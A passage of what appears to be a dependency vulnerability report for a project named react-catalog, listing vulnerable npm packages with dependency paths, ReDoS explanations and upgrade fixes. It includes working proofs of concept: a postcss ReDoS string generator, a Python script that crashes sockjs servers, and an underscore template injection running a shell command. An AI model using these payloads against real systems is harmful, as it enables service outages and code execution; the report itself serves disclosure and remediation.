$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade marked to version 0.4.0 or higher.

References

medium severity

Denial of Service

  • Vulnerable module: node-fetch
  • Introduced through: react@15.7.0, react-dom@15.7.0 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 react@15.7.0 fbjs@0.8.17 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react@16.5.0.
  • Introduced through: react-catalog@1.0.7 react-dom@15.7.0 fbjs@0.8.17 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-dom@16.5.0.
  • Introduced through: react-catalog@1.0.7 react-test-renderer@15.7.0 fbjs@0.8.17 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-test-renderer@16.5.0.

Overview

node-fetch is an A light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.

Remediation

Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.

References

medium severity

Command Injection

  • Vulnerable module: node-notifier
  • Introduced through: jest-cli@17.0.3 and jest@17.0.3

Detailed paths

  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 node-notifier@4.6.1
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 node-notifier@4.6.1
    Remediation: Upgrade to jest@19.0.0.

Overview

node-notifier is an A Node.js module for sending notifications on native Mac, Windows (post and pre 8) and Linux (or Growl as fallback)

Affected versions of this package are vulnerable to Command Injection. It allows an attacker to run arbitrary commands on Linux machines due to the options params not being sanitised when being passed an array.

Remediation

Upgrade node-notifier to version 5.4.5, 8.0.2, 9.0.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: postcss
  • Introduced through: autoprefixer@6.7.7, css-loader@0.26.4 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to autoprefixer@9.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 postcss@5.2.18
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: react-catalog@1.0.7 postcss-loader@1.3.3 postcss@5.2.18
    Remediation: Upgrade to postcss-loader@3.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 postcss-modules-extract-imports@1.2.1 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 postcss-modules-local-by-default@1.2.0 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 postcss-modules-scope@1.1.0 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.
  • Introduced through: react-catalog@1.0.7 css-loader@0.26.4 postcss-modules-values@1.3.0 postcss@6.0.23
    Remediation: Upgrade to css-loader@2.0.0.

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            postcss.parse(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade postcss to version 8.2.13, 7.0.36 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: sockjs
  • Introduced through: webpack-dev-server@2.11.5

Detailed paths

  • Introduced through: react-catalog@1.0.7 webpack-dev-server@2.11.5 sockjs@0.3.19
    Remediation: Upgrade to webpack-dev-server@3.11.0.

Overview

sockjs is a JavaScript library (for browsers) that provides a WebSocket-like object.

Affected versions of this package are vulnerable to Denial of Service (DoS). Incorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps.

PoC by Andrew Snow

import requests
import random
import argparse

def main():
  print('SockJS 0.3.19 Denial of Service POC')
  print('For educational purposes only')
  print('Author: @andsnw')
  print('------------')
  parser = argparse.ArgumentParser(description='SockJS 0.3.19 Denial of Service POC')
  parser.add_argument('--target', type=str, help='URL of target running vulnerable sockjs')
  parsed = parser.parse_args()
  target = vars(parsed)['target']
  if target == None:
    parser.print_help()
    exit()

  # Clean trailing /
  if target.endswith('/'):
    target = target[:-1]

  print ("Initiating at: %s" % target)

  # Create sockjs payload
  payloads = [
    ('%s/sockjs/' % target),
    ('%s/sockjs/598/' % target),
    ('%s/sockjs/598/8ko8gkpf/' % target),
  ]

  # Run 3 times with traversion
  for url in payloads:
    payload_url = "%s%s" % (url, random.randint(1000000000000000000,9999999999999999999))
    print('Requesting: %s' % payload_url)
    req = requests.get(url=payload_url, headers={
      'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
      'Cache-Control': 'max-age=0',
      'Accept-Language': 'en-US,en;q=0.5',
      'Connection': 'Upgrade',
      'Upgrade': 'websocket',
    })
    print("Status code: %s" % req.status_code)

  print ("Complete! Check if the container has crashed")

if __name__ == "__main__":
    main()

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade sockjs to version 0.3.20 or higher.

References

medium severity

Arbitrary Code Injection

  • Vulnerable module: underscore
  • Introduced through: react-docgen@2.12.1

Detailed paths

  • Introduced through: react-catalog@1.0.7 react-docgen@2.12.1 nomnom@1.8.1 underscore@1.6.0

Overview

underscore is a JavaScript's functional programming helper library.

Affected versions of this package are vulnerable to Arbitrary Code Injection via the template function, particularly when the variable option is taken from _.templateSettings as it is not sanitized.

PoC

const _ = require('underscore');
_.templateSettings.variable = "a = this.process.mainModule.require('child_process').execSync('touch HELLO')";
const t = _.template("")();

Remediation

Upgrade underscore to version 1.13.0-2, 1.12.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: braces
  • Introduced through: chokidar@1.7.0, babel-cli@6.26.0 and others

Detailed paths

  • Introduced through: react-catalog@1.0.7 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to chokidar@2.0.0.
  • Introduced through: react-catalog@1.0.7 babel-cli@6.26.0 chokidar@1.7.0 anymatch@1.3.2 micromatch@2.3.11 braces@1.8.5
  • Introduced through: react-catalog@1.0.7 babel-jest@17.0.2 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to babel-jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest-cli@17.0.3 jest-runtime@17.0.3 babel-jest@17.0.2 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to jest-cli@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to jest@19.0.0.
  • Introduced through: react-catalog@1.0.7 jest@17.0.3 jest-cli@17.0.3 jest-runtime@17.0.3 babel-jest@17.0.2 babel-plugin-istanbul@2.0.3 test-exclude@2.1.3 micromatch@2.3.11 braces@1.8.5
    Remediation: Upgrade to jest@19.0.0.

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\{(,+(?:(\{,+\})*),*|,*(?:(\{,+\})*),+)\}) in order to detects empty braces. This can cause an impact of about 10 seconds matching time for data 50K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Feb 18th, 2018 - Fix issued
  • Feb 19th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade braces to version 2.3.1 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: eslint
  • Introduced through: standard@8.6.0

Detailed paths

  • Introduced through: react-catalog@1.0.7 standard@8.6.0 eslint@3.10.2
    Remediation: Upgrade to standard@11.0.0.

Overview

eslint is a pluggable linting utility for JavaScript and JSX

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 100k characters long.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade eslint to version 4.18.2 or higher.

References